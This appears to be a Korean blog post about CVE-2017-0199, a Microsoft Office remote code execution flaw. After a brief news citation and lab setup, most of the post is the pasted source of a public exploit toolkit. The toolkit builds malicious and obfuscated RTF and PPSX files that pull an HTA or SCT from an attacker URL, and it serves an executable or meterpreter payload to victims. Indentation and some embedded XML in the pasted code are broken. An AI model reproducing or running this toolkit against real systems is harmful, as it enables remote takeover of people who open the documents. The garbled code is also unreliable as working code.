IT/ISSUE

워드 파일도 믿지마라 워드 악성파일? CVE-2017-0199

종금 2019. 12. 5. 15:54
반응형

2017년에 만들어진 취약점을 2020년을 앞두고 포스팅한다고?

이런 생각이 처음에 포스트 클릭할 때 들 수도있다.

 

하지만 이 포스팅을 작성하겠다고 마음먹은건 보안뉴스에 기사하나를 클릭 함으로 인함인데 그 기사는 아래와같다.

더보기

연말연시 특수 노리나? 공격자들, 환대산업에 집중

이 캠페인은 주로 악성 워드, 엑셀, PDF 파일이 첨부된 이메일로부터 시작한다. 익스플로잇 하려는 취약점은 여러 가지인데 CVE-2017-0199가 가장 빈번하게 나타난다. 취약점 익스플로잇에 성공한 이후에는 리벤지랫(RevengeRAT), 엔제이랫(NjRAT), 나노코어랫(NanoCoreRAT), 888랫(888RAT), 프로씨씨(ProCC) 등이 설치된다.

 

출처: 보안뉴스 https://www.boannews.com/media/view.asp?idx=84946

 

즉 아직도 이 익스플로잇을 이용하여 공격을 시도하고 있고 이 공격을 이용하면 많은 악성프로그램이 사용자의 단말기에 설치될 위험이 있다.

 

준비물

칼리 혹은 메타스플로잇(여기 준비는 칼리로)

희생자 컴퓨터 (윈도우7)

POC 작동할 프로그래밍 (python2.7)

 

 

일단 취약점을 시작하기 위해 CVE-2017-0199 github을 검색하면 

친절하게도 Poc 코드까지 검색된다. 

 

 

이마저도 귀찮으신분을 위해 코드는 접기로 넣어두겠다. 아래서 확인하자

더보기

#!/usr/bin/env python
'''

                                                        ## Exploit toolkit CVE-2017-0199 - v4.0 (https://github.com/bhdresh/CVE-2017-0199) ##

'''
import os,sys,thread,socket,sys,getopt,binascii,shutil,tempfile
from random import randint
from random import choice
from string import ascii_uppercase
from zipfile import ZipFile, ZIP_STORED, ZipInfo


BACKLOG = 50            # how many pending connections queue will hold
MAX_DATA_RECV = 999999  # max number of bytes we receive at once
DEBUG = True            # set to True to see the debug msgs
def main(argv):
    # Host and Port information
    global port
    global host
    global filename
    global docuri
    global payloadurl
    global payloadlocation
    global custom
    global mode
    global obfuscate
    global payloadtype
    filename = ''
    docuri = ''
    payloadurl = ''
    payloadlocation = ''
    custom = ''
    port = int("80")
    host = ''
    mode = ''
    obfuscate = int("0")
    payloadtype = 'rtf'

    # Capture command line arguments
    try:
        opts, args = getopt.getopt(argv,"hM:w:u:p:e:l:H:x:t:",["mode=","filename=","docuri=","port=","payloadurl=","payloadlocation=","custom=","obfuscate=","payloadtype="])
    except getopt.GetoptError:
        print 'Usage: python '+sys.argv[0]+' -h'
        sys.exit(2)
    for opt, arg in opts:
        if opt == '-h':
                print "\nThis is a handy toolkit to exploit CVE-2017-0199 (Microsoft Office RCE)\n"
                print "Modes:\n"
                print " -M gen                                          Generate Malicious file only\n"
                print "             Generate malicious payload:\n"
                print "             -w <Filename.rtf/Filename.ppsx>     Name of malicious RTF/PPSX file (Share this file with victim).\n"
                print "             -u <http://attacker.com/test.hta>   The path to an HTA/SCT file. Normally, this should be a domain or IP where this tool is running.\n"
print "                                                 For example, http://attacker.com/test.doc (This URL will be included in malicious file and\n"
                print "                                                 will be requested once victim will open malicious RTF/PPSX file.\n"
                print "             -t RTF|PPSX (default = RTF)         Type of the file to be generated.\n"
                print "             -x 0|1  (RTF only)                  Generate obfuscated RTF file. 0 = Disable, 1 = Enable.\n"
                print " -M exp                                          Start exploitation mode\n"
                print "             Exploitation:\n"
                print "             -t RTF|PPSX (default = RTF)         Type of file to be exolited.\n"
print "             -H </tmp/custom>                    Local path of a custom HTA/SCT file which needs to be delivered and executed on target.\n"
                print "                                                 NOTE: This option will not deliver payloads specified through options \"-e\" and \"-l\".\n"
print "             -p             Local port number.\n"
                print "             -e <http://attacker.com/shell.exe>  The path of an executable file / meterpreter shell / payload  which needs to be executed on target.\n"
                print "             -l </tmp/shell.exe>                 If payload is hosted locally, specify local path of an executable file / meterpreter shell / payload.\n"
                sys.exit()
        elif opt in ("-M","--mode"):
            mode = arg
        elif opt in ("-w", "--filename"):
            filename = arg
        elif opt in ("-u", "--docuri"):
            docuri = arg
        elif opt in ("-p", "--port"):
            port = int(arg)
        elif opt in ("-e", "--payloadurl"):
            payloadurl = arg
        elif opt in ("-l", "--payloadlocation"):
            payloadlocation = arg
elif opt in ("-H","--custom"):
            custom  = arg
        elif opt in ("-x","--obfuscate"):
            obfuscate = int(arg)
        elif opt in ("-t","--payloadtype"):
            payloadtype = arg
    if "gen" in mode:
        if (len(filename)<1):
            print 'Usage: python '+sys.argv[0]+' -h'
            sys.exit()
        if (len(docuri)<1):
            print 'Usage: python '+sys.argv[0]+' -h'
            sys.exit()
        if (len(payloadtype)<1):
            print 'Usage: python '+sys.argv[0]+' -h'
            sys.exit()
        if payloadtype.upper() == 'RTF':
            if obfuscate == 1:
             print "Generating obfuscated RTF file.\n"
             generate_exploit_obfuscate_rtf()
             sys.exit()
            if obfuscate == 0:
             print "Generating normal RTF payload.\n"
             generate_exploit_rtf()
             sys.exit()
            sys.exit()
        if payloadtype.upper() == 'PPSX':
            print "Generating normal PPSX payload.\n"
    generate_exploit_ppsx()
            sys.exit()
        if payloadtype.upper() != 'RTF' and payloadtype.upper() != 'PPSX':
            print 'Usage: python '+sys.argv[0]+' -h'
            sys.exit()
        mode = 'Finished'
    if "exp" in mode:
        if payloadtype.upper() == 'RTF':
    if (len(custom)>1):
        print "Running exploit mode (Deliver Custom HTA) - waiting for victim to connect"
                exploitation_rtf()
        sys.exit()
            if (len(payloadurl)<1):
                print 'Usage: python '+sys.argv[0]+' -h'
                sys.exit()
            if (len(payloadurl)>1 and len(payloadlocation)<1):
                print "Running exploit mode (Deliver HTA with remote payload) - waiting for victim to connect"
                exploitation_rtf()
                sys.exit()
            print "Running exploit mode (Deliver HTA + Local Payload) - waiting for victim to connect"
            exploitation_rtf()
            mode = 'Finished'
if payloadtype.upper() == 'PPSX':
    if (len(custom)>1):
        print "Running exploit mode (Deliver Custom SCT) - waiting for victim to connect"
                exploitation_ppsx()
        sys.exit()
            if (len(payloadurl)<1):
                print 'Usage: python '+sys.argv[0]+' -h'
                sys.exit()
            if (len(payloadurl)>1 and len(payloadlocation)<1):
                print "Running exploit mode (Deliver SCT with remote payload) - waiting for victim to connect"
                exploitation_ppsx()
                sys.exit()
            print "Running exploit mode (Deliver SCT + Local Payload) - waiting for victim to connect"
            exploitation_ppsx()
            mode = 'Finished'
        if not "Finished" in mode:
            print 'Usage: python '+sys.argv[0]+' -h'
            sys.exit()
def generate_exploit_rtf():
    # Preparing malicious RTF
    s = docuri
    docuri_hex = "00".join("{:02x}".format(ord(c)) for c in s)
    docuri_pad_len = 224 - len(docuri_hex)
    docuri_pad = "0"*docuri_pad_len
    uri_hex = "010000020900000001000000000000000000000000000000a4000000e0c9ea79f9bace118c8200aa004ba90b8c000000"+docuri_hex+docuri_pad+"00000000795881f43b1d7f48af2c825dc485276300000000a5ab0000ffffffff0609020000000000c00000000000004600000000ffffffff0000000000000000906660a637b5d201000000000000000000000000000000000000000000000000100203000d0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000"
    
    payload = "{\\rtf1\\adeflang1025\\ansi\\ansicpg1252\\uc1\\adeff31507\\deff0\\stshfdbch31505\\stshfloch31506\\stshfhich31506\\stshfbi31507\\deflang1033\\deflangfe2052\\themelang1033\\themelangfe2052\\themelangcs0\n"
    payload += "{\\info\n"
    payload += "{\\author }\n"
    payload += "{\\operator }\n"
    payload += "}\n"
    payload += "{\\*\\xmlnstbl {\\xmlns1 http://schemas.microsoft.com/office/word/2003/wordml}}\n"
    payload += "{\n"
    payload += "{\\object\\objautlink\\objupdate\\rsltpict\\objw291\\objh230\\objscalex99\\objscaley101\n"
    payload += "{\\*\\objclass Word.Document.8}\n"
    payload += "{\\*\\objdata 0105000002000000\n"
    payload += "090000004f4c45324c696e6b000000000000000000000a0000\n"
    payload += "d0cf11e0a1b11ae1000000000000000000000000000000003e000300feff0900060000000000000000000000010000000100000000000000001000000200000001000000feffffff0000000000000000ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff\n"
    payload += "ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff\n"
    payload += "ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff\n"
    payload += "ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff\n"
    payload += "fffffffffffffffffdfffffffefffffffefffffffeffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff\n"
    payload += "ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff\n"
    payload += "ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff\n"
    payload += "ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff\n"
    payload += "ffffffffffffffffffffffffffffffff52006f006f007400200045006e00740072007900000000000000000000000000000000000000000000000000000000000000000000000000000000000000000016000500ffffffffffffffff020000000003000000000000c000000000000046000000000000000000000000704d\n"
    payload += "6ca637b5d20103000000000200000000000001004f006c00650000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000a000200ffffffffffffffffffffffff00000000000000000000000000000000000000000000000000000000\n"
    payload += "000000000000000000000000f00000000000000003004f0062006a0049006e0066006f00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000120002010100000003000000ffffffff0000000000000000000000000000000000000000000000000000\n"
    payload += "0000000000000000000004000000060000000000000003004c0069006e006b0049006e0066006f000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000014000200ffffffffffffffffffffffff000000000000000000000000000000000000000000000000\n"
    payload += "00000000000000000000000005000000b700000000000000010000000200000003000000fefffffffeffffff0600000007000000feffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff\n"
    payload += "ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff\n"
    payload += "ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff\n"
    payload += "ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff\n"
    payload += "ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff\n"
    payload += uri_hex+"\n"
    payload += "0105000000000000}\n"
    payload += "{\\result {\\rtlch\\fcs1 \\af31507 \\ltrch\\fcs0 \\insrsid1979324 }}}}\n"
    payload += "{\\*\\datastore }\n"
    payload += "}\n"
    f = open(filename, 'w')
    f.write(payload)
    f.close()
    print "Generated "+filename+" successfully"



def generate_exploit_obfuscate_rtf():
    # Preparing malicious obfuscated RTF
    var1 = " "
    var2 = "\r\n"
    var3 = "\t"
    var4 = ''.join(choice(ascii_uppercase) for i in range(randint(3,10)))
    var5 = "{\*\\"+var4+"}"
    var6 = binascii.b2a_hex(os.urandom(15))
    #var6 = "0011002e1faa"
    s = docuri
    docuri_hex = "00".join("{:02x}".format(ord(c)) for c in s)
    docuri_pad_len = 224 - len(docuri_hex)
    docuri_pad = "0"*docuri_pad_len
    new_docuri_hex = docuri_hex.replace('00', '{\*\\'+var6+'}00')
    uri_hex = "010000020900000001000000000000000000000000000000a4000000"+"e"+var5*randint(0,10)+"0"+var5*randint(0,10)+"c"+var5*randint(0,10)+"9"+var5*randint(0,10)+"e"+var5*randint(0,10)+"a"+var5*randint(0,10)+"7"+var5*randint(0,10)+"9"+var5*randint(0,10)+"f"+var5*randint(0,10)+"9"+var5*randint(0,10)+"b"+var5*randint(0,10)+"a"+var5*randint(0,10)+"c"+var5*randint(0,10)+"e"+var5*randint(0,10)+"1"+var5*randint(0,10)+"1"+var5*randint(0,10)+"8"+var5*randint(0,10)+"c"+var5*randint(0,10)+"8"+var5*randint(0,10)+"2"+var5*randint(0,10)+"0"+var5*randint(0,10)+"0"+var5*randint(0,10)+"a"+var5*randint(0,10)+"a"+var5*randint(0,10)+"0"+var5*randint(0,10)+"0"+var5*randint(0,10)+"4"+var5*randint(0,10)+"b"+var5*randint(0,10)+"a"+var5*randint(0,10)+"9"+var5*randint(0,10)+"0"+var5*randint(0,10)+"b"+var5*randint(0,10)+"8c000000"+new_docuri_hex+docuri_pad+"00000000795881f43b1d7f48af2c825dc485276300000000a5ab0000ffffffff0609020000000000c00000000000004600000000ffffffff0000000000000000906660a637b5d201000000000000000000000000000000000000000000000000100203000d0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000"
    
    payload = "{\\rtv0"+var1*randint(0,100)+"\\adeflang1025\\ansi\\ansicpg1252\\uc1\\adeff31507\\deff0\\stshfdbch31505\\stshfloch31506\\stshfhich31506\\stshfbi31507\\deflang1033\\deflangfe2052\\themelang1033\\themelangfe2052\\themelangcs0\n"
    payload += "{\\info\n"
    payload += "{\\author }\n"
    payload += "{\\operator }\n"
    payload += "}\n"
    payload += "{\\*\\xmlnstbl {\\xmlns1 http://schemas.microsoft.com/office/word/2003/wordml}}\n"
    payload += "{\n"
    payload += "{\\object\\objautlink\\objupdate\\rsltpict\\objw291\\objh230\\objscalex99\\objscaley101\n"
    payload += "{\\*\\objclass \\'57\\'6f\\'72\\'64.Document.8}\n"
    payload += "{\\*\\objdata 0"+var2*randint(0,10)+var3*randint(0,10)+"1"+var2*randint(0,10)+var3*randint(0,10)+"0"+var2*randint(0,10)+var3*randint(0,10)+"5"+var2*randint(0,10)+var3*randint(0,10)+"0"+var2*randint(0,10)+var3*randint(0,10)+"0"+var2*randint(0,10)+var3*randint(0,10)+"0"+var2*randint(0,10)+var3*randint(0,10)+"0"+var2*randint(0,10)+var3*randint(0,10)+"0"+var2*randint(0,10)+var3*randint(0,10)+"2"+var2*randint(0,10)+var3*randint(0,10)+"0"+var2*randint(0,10)+var3*randint(0,10)+"0"+var2*randint(0,10)+var3*randint(0,10)+"0"+var2*randint(0,10)+var3*randint(0,10)+"0"+var2*randint(0,10)+var3*randint(0,10)+"0"+var2*randint(0,10)+var3*randint(0,10)+"0\n"
    payload += "090000004f4c45324c696e6b000000000000000000000a0000\n"
    payload += "d0cf11e0a1b11ae1000000000000000000000000000000003e000300feff0900060000000000000000000000010000000100000000000000001000000200000001000000feffffff0000000000000000ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff\n"
    payload += "ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff\n"
    payload += "ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff\n"
    payload += "ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff\n"
    payload += "fffffffffffffffffdfffffffefffffffefffffffeffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff\n"
    payload += "ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff\n"
    payload += "ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff\n"
    payload += "ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff\n"
    payload += "ffffffffffffffffffffffffffffffff52006f006f007400200045006e00740072007900000000000000000000000000000000000000000000000000000000000000000000000000000000000000000016000500ffffffffffffffff020000000003000000000000c000000000000046000000000000000000000000704d\n"

    payload += "6ca637b5d20103000000000200000000000001004f006c00650000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000a000200ffffffffffffffffffffffff00000000000000000000000000000000000000000000000000000000\n"
    payload += "000000000000000000000000f00000000000000003004f0062006a0049006e0066006f00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000120002010100000003000000ffffffff0000000000000000000000000000000000000000000000000000\n"
    payload += "0000000000000000000004000000060000000000000003004c0069006e006b0049006e0066006f000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000014000200ffffffffffffffffffffffff000000000000000000000000000000000000000000000000\n"
    payload += "00000000000000000000000005000000b700000000000000010000000200000003000000fefffffffeffffff0600000007000000feffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff\n"
    payload += "ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff\n"
    payload += "ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff\n"
    payload += "ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff\n"
    payload += "ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff\n"
    payload += uri_hex+"\n"
    payload += "0105000000000000}\n"
    payload += "{\\result {\\rtlch\\fcs1 \\af31507 \\ltrch\\fcs0 \\insrsid1979324 }}}}\n"
    payload += "{\\*\\datastore }\n"
    payload += "}\n"
    f = open(filename, 'w')
    f.write(payload)
    f.close()
    print "Generated obfuscated "+filename+" successfully"

def generate_exploit_ppsx():
# Preparing malicious PPSX
shutil.copy2('template/template.ppsx', filename)
class UpdateableZipFile(ZipFile):
    """
    Add delete (via remove_file) and update (via writestr and write methods)
    To enable update features use UpdateableZipFile with the 'with statement',
    Upon  __exit__ (if updates were applied) a new zip file will override the exiting one with the updates
    """

    class DeleteMarker(object):
pass

    def __init__(self, file, mode="r", compression=ZIP_STORED, allowZip64=False):
# Init base
super(UpdateableZipFile, self).__init__(file, mode=mode,
                                        compression=compression,
                                        allowZip64=allowZip64)
# track file to override in zip
self._replace = {}
# Whether the with statement was called
self._allow_updates = False

    def writestr(self, zinfo_or_arcname, bytes, compress_type=None):
if isinstance(zinfo_or_arcname, ZipInfo):
    name = zinfo_or_arcname.filename
else:
    name = zinfo_or_arcname
# If the file exits, and needs to be overridden,
# mark the entry, and create a temp-file for it
# we allow this only if the with statement is used
if self._allow_updates and name in self.namelist():
    temp_file = self._replace[name] = self._replace.get(name,
                                                        tempfile.TemporaryFile())
    temp_file.write(bytes)
# Otherwise just act normally
else:
    super(UpdateableZipFile, self).writestr(zinfo_or_arcname,
                                            bytes, compress_type=compress_type)

    def write(self, filename, arcname=None, compress_type=None):
arcname = arcname or filename
# If the file exits, and needs to be overridden,
# mark the entry, and create a temp-file for it
# we allow this only if the with statement is used
if self._allow_updates and arcname in self.namelist():
    temp_file = self._replace[arcname] = self._replace.get(arcname,
                                                           tempfile.TemporaryFile())
    with open(filename, "rb") as source:
        shutil.copyfileobj(source, temp_file)
# Otherwise just act normally
else:
    super(UpdateableZipFile, self).write(filename, 
                                         arcname=arcname, compress_type=compress_type)

    def __enter__(self):
# Allow updates
self._allow_updates = True
return self

    def __exit__(self, exc_type, exc_val, exc_tb):
# call base to close zip file, organically
try:
    super(UpdateableZipFile, self).__exit__(exc_type, exc_val, exc_tb)
    if len(self._replace) > 0:
        self._rebuild_zip()
finally:
    # In case rebuild zip failed,
    # be sure to still release all the temp files
    self._close_all_temp_files()
    self._allow_updates = False

    def _close_all_temp_files(self):
for temp_file in self._replace.itervalues():
    if hasattr(temp_file, 'close'):
        temp_file.close()

    def remove_file(self, path):
self._replace[path] = self.DeleteMarker()

    def _rebuild_zip(self):
tempdir = tempfile.mkdtemp()
try:
    temp_zip_path = os.path.join(tempdir, 'new.zip')
    with ZipFile(self.filename, 'r') as zip_read:
        # Create new zip with assigned properties
        with ZipFile(temp_zip_path, 'w', compression=self.compression,
                     allowZip64=self._allowZip64) as zip_write:
            for item in zip_read.infolist():
                # Check if the file should be replaced / or deleted
                replacement = self._replace.get(item.filename, None)
                # If marked for deletion, do not copy file to new zipfile
                if isinstance(replacement, self.DeleteMarker):
                    del self._replace[item.filename]
                    continue
                # If marked for replacement, copy temp_file, instead of old file
                elif replacement is not None:
                    del self._replace[item.filename]
                    # Write replacement to archive,
                    # and then close it (deleting the temp file)
                    replacement.seek(0)
                    data = replacement.read()
                    replacement.close()
                else:
                    data = zip_read.read(item.filename)
                zip_write.writestr(item, data)
    # Override the archive with the updated one
    shutil.move(temp_zip_path, self.filename)
finally:
    shutil.rmtree(tempdir)

with UpdateableZipFile(filename, "a") as o:
    o.writestr("ppt/slides/_rels/slide1.xml.rels", "\
http://schemas.openxmlformats.org/package/2006/relationships\">http://schemas.openxmlformats.org/officeDocument/2006/relationships/oleObject\" Target=\"script:"+docuri+"\" TargetMode=\"External\"/>http://schemas.openxmlformats.org/officeDocument/2006/relationships/slideLayout\" Target=\"../slideLayouts/slideLayout1.xml\"/>http://schemas.openxmlformats.org/officeDocument/2006/relationships/vmlDrawing\" Target=\"../drawings/vmlDrawing1.vml\"/>")
print "Generated "+filename+" successfully"


def exploitation_rtf():
 
    print "Server Running on ",host,":",port

    try:
        # create a socket
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

        # associate the socket to host and port
        s.bind((host, port))

        # listenning
        s.listen(BACKLOG)
    
    except socket.error, (value, message):
        if s:
            s.close()
        print "Could not open socket:", message
        sys.exit(1)

    # get the connection from client
    while 1:
        conn, client_addr = s.accept()

        # create a thread to handle request
        thread.start_new_thread(server_thread, (conn, client_addr))
        
    s.close()

def server_thread(conn, client_addr):

    # get the request from browser
    try:
        request = conn.recv(MAX_DATA_RECV)
        if (len(request) > 0):
            # parse the first line
            first_line = request.split('\n')[0]
            
            # get method
            method = first_line.split(' ')[0]
            # get url
            try:
                url = first_line.split(' ')[1]
            except IndexError:
                print "Invalid request from "+client_addr[0]
                conn.close()
                sys.exit(1)
  # check if custom HTA flag is set
    if (len(custom)>1):
                print "Received request for custom HTA from "+client_addr[0]
                try:
                    size = os.path.getsize(custom)
                except OSError:
                    print "Unable to read exe - "+custom
                    conn.close()
                    sys.exit(1)
                data = "HTTP/1.1 200 OK\r\nDate: Sun, 16 Apr 2017 18:56:41 GMT\r\nServer: Apache/2.4.25 (Debian)\r\nLast-Modified: Sun, 16 Apr 2017 16:56:22 GMT\r\nAccept-Ranges: bytes\r\nContent-Length: "+str(size)+"\r\nKeep-Alive: timeout=5, max=100\r\nConnection: Keep-Alive\r\nContent-Type: application/hta\r\n\r\n"
                with open(custom) as fin:
                    data +=fin.read()
                    conn.send(data)
                    conn.close()
                    sys.exit(1)
conn.close()
sys.exit(1)
            check_exe_request = url.find('.exe')
            if (check_exe_request > 0):
                print "Received request for payload from "+client_addr[0]
                try:
                    size = os.path.getsize(payloadlocation)
                except OSError:
                    print "Unable to read "+payloadlocation
                    conn.close()
                    sys.exit(1)
                data = "HTTP/1.1 200 OK\r\nDate: Sun, 16 Apr 2017 18:56:41 GMT\r\nServer: Apache/2.4.25 (Debian)\r\nLast-Modified: Sun, 16 Apr 2017 16:56:22 GMT\r\nAccept-Ranges: bytes\r\nContent-Length: "+str(size)+"\r\nKeep-Alive: timeout=5, max=100\r\nConnection: Keep-Alive\r\nContent-Type: application/x-msdos-program\r\n\r\n"
                with open(payloadlocation) as fin:
                    data +=fin.read()
                    conn.send(data)
                    conn.close()
                    sys.exit(1)
            if method in ['GET', 'get']:
                print "Received GET method from "+client_addr[0]
                data = "HTTP/1.1 200 OK\r\nDate: Sun, 16 Apr 2017 17:11:03 GMT\r\nServer: Apache/2.4.25 (Debian)\r\nLast-Modified: Sun, 16 Apr 2017 17:30:47 GMT\r\nAccept-Ranges: bytes\r\nContent-Length: 315\r\nKeep-Alive: timeout=5, max=100\r\nConnection: Keep-Alive\r\nContent-Type: application/hta\r\n\r\n

\r\n"
                conn.send(data)
                conn.close()
            if method in ['OPTIONS', 'options']:
                print "Receiver OPTIONS method from "+client_addr[0]
                data = "HTTP/1.1 200 OK\r\nDate: Sun, 16 Apr 2017 17:47:14 GMT\r\nServer: Apache/2.4.25 (Debian)\r\nAllow: OPTIONS,HEAD,GET\r\nContent-Length: 0\r\nKeep-Alive: timeout=5, max=100\r\nConnection: Keep-Alive\r\nContent-Type: text/html"
                conn.send(data)
                conn.close()
            if method in ['HEAD', 'head']:
                print "Received HEAD method from "+client_addr[0]
                data = "HTTP/1.1 200 OK\r\nDate: Sun, 16 Apr 2017 17:11:03 GMT\r\nServer: Apache/2.4.25 (Debian)\r\nLast-Modified: Sun, 16 Apr 2017 17:30:47 GMT\r\nAccept-Ranges: bytes\r\nContent-Length: 315\r\nKeep-Alive: timeout=5, max=100\r\nConnection: Keep-Alive\r\nContent-Type: application/doc\r\n\r\n"
                conn.send(data)
                conn.close()
                sys.exit(1)
    except socket.error, ex:
        print ex


def exploitation_ppsx():
 
    print "Server Running on ",host,":",port

    try:
        # create a socket
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

        # associate the socket to host and port
        s.bind((host, port))

        # listenning
        s.listen(BACKLOG)
    
    except socket.error, (value, message):
        if s:
            s.close()
        print "Could not open socket:", message
        sys.exit(1)

    # get the connection from client
    while 1:
        conn, client_addr = s.accept()

        # create a thread to handle request
        thread.start_new_thread(server_thread, (conn, client_addr))
        
    s.close()

def server_thread(conn, client_addr):

    # get the request from browser
    try:
        request = conn.recv(MAX_DATA_RECV)
        if (len(request) > 0):
            # parse the first line
            first_line = request.split('\n')[0]
            
            # get method
            method = first_line.split(' ')[0]
            # get url
            try:
                url = first_line.split(' ')[1]
            except IndexError:
                print "Invalid request from "+client_addr[0]
                conn.close()
                sys.exit(1)
  # check if custom SCT flag is set
    if (len(custom)>1):
                print "Received request for custom SCT from "+client_addr[0]
                try:
                    size = os.path.getsize(custom)
                except OSError:
                    print "Unable to read custom SCT file - "+custom
                    conn.close()
                    sys.exit(1)
                data = "HTTP/1.1 200 OK\r\nDate: Sun, 16 Apr 2017 18:56:41 GMT\r\nServer: Apache/2.4.25 (Debian)\r\nLast-Modified: Sun, 16 Apr 2017 16:56:22 GMT\r\nAccept-Ranges: bytes\r\nContent-Length: "+str(size)+"\r\nKeep-Alive: timeout=5, max=100\r\nConnection: Keep-Alive\r\nContent-Type: text/scriptlet\r\n\r\n"
                with open(custom) as fin:
                    data +=fin.read()
                    conn.send(data)
                    conn.close()
                    sys.exit(1)
conn.close()
sys.exit(1)
